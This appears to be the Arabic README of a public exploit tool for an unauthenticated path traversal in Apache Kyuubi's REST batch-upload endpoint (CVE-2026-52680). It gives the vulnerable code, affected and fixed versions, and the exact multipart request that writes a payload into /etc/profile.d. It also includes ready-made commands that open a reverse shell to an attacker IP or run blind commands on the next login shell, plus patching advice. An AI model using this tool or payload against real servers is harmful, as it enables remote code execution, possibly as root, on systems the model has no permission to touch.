
استغلال لثغرة تجاوز المسار (Path Traversal) في Apache Kyuubi (CVE-2026-52680) يحقق كتابة ملفات تعسفية بدون مصادقة وتنفيذ كود عبر سكربتات الشل في profile.d.
ثغرة كتابة ملفات تعسفية بدون مصادقة في REST API الخاصة بـ Apache Kyuubi عبر نقطة نهاية إرسال الدُفعات (multipart batch-submission).
يكتب POST /api/v1/batches (multipart/form-data) جزء resourceFile إلى
$KYUUBI_HOME/work/upload/<batchId>/ باستخدام اسم الملف المقدَّم من العميل
دون أي فحص لاجتياز المسار (kyuubi-common Utils.writeToTempFile):
val filePath = Paths.get(dir.toString, s"$prefix-$identifier$suffix") // no normalize()/containment
Files.copy(source, filePath, StandardCopyOption.REPLACE_EXISTING)
اسم ملف يحتوي على ../ يخرج من دليل الرفع → كتابة ملفات في أدلة عشوائية (CWE-22)
بصلاحيات مستخدم عملية Kyuubi. يأتي Kyuubi افتراضيًا مع ضبط kyuubi.authentication=NONE،
لذا فإن نقطة النهاية بدون مصادقة.
1.7.0 – 1.11.11.12.0 (يضيف فحص الاحتواء filePath.normalize().startsWith(dir.normalize()))10099 (واجهة REST أمامية، بدون مصادقة عندما تكون authentication=NONE)يقوم writeToTempFile بإدراج -<yyyyMMddHHmmss>-<counter> قبل الامتداد، لذا يمكنك التحكم في
الدليل الوجهة والامتداد والمحتوى، لكن ليس في اسم الملف الأساسي الدقيق. هذا
يعطّل الكتابة فوق ملفات بأسماء دقيقة (~/.ssh/authorized_keys, /etc/crontab, ~/.bashrc) — لذا
استهدف بدلًا من ذلك موقعًا يتم تنفيذه عبر glob.
يكتب هذا الاستغلال ملفًا باسم /etc/profile.d/pwn.sh → يُخزَّن باسم
/etc/profile.d/pwn-<ts>-<n>.sh، والذي لا يزال يطابق نمط /etc/profile.d/*.sh ويتم
تحميله وتنفيذه (sourced) (دون الحاجة إلى بت التنفيذ) من قِبل كل قشرة تسجيل دخول
(login shell). يُنفَّذ بصلاحيات أي مستخدم يفتح قشرة تسجيل دخول — بصلاحيات root إذا كان
Kyuubi يعمل بحساب root وحدث تسجيل دخول بحساب root (مثل ssh root@host, su -, مهمة
cron تُنفِّذ bash -lc).
مكتبة Python 3 القياسية فقط — دون أي تبعيات.
# reverse shell (start a listener first: nc -lvnp 4444). Fires on the next login shell.
python3 exploit.py http://10.10.10.10:10099/ --shell 10.10.14.5:4444
# blind command
python3 exploit.py http://10.10.10.10:10099/ -c 'id > /tmp/pwned'
يُرجع الرفع HTTP 500 (Error opening batch session) عند عدم توفر Spark backend — وهذا متوقع وغير ضار: فالملف يُكتب قبل أن يتم إطلاق الدفعة.
جزءان بنمط multipart:
batchRequest (JSON) {"batchType":"SPARK","resource":"x","className":"x","name":"pwn"} — طلب
BatchRequest صالح بالحد الأدنى بحيث يجتاز التحقق ويتم الوصول إلى وجهة الرفع.resourceFile، اسم الملف ../../../../../../etc/profile.d/pwn.sh، والمحتوى = الحمولة. يكتبه
Kyuubi (مع تشويه اسم الملف الأساسي) إلى /etc/profile.d/pwn-<ts>-<n>.sh.ثم تقوم قشرة تسجيل الدخول باستدعاء /etc/profile.d/*.sh (source) وتنفيذ الحمولة.
curl -s http://10.10.10.10:10099/api/v1/ping # Kyuubi REST responds (no auth)
واجهة Kyuubi REST الأمامية على المنفذ 10099 مع ضبط authentication=NONE قابلة للاستغلال.
قم بترقية Apache Kyuubi إلى الإصدار ≥ 1.12.0، وفعِّل المصادقة (kyuubi.authentication)، ولا تعرِّض بوابة REST أبدًا لشبكات غير موثوقة، ولا تشغِّل Kyuubi بحساب root.
لأغراض اختبار الأمان المصرَّح به والتعليم فقط. استخدمه فقط ضد الأنظمة التي تمتلكها أو التي لديك إذن صريح لاختبارها.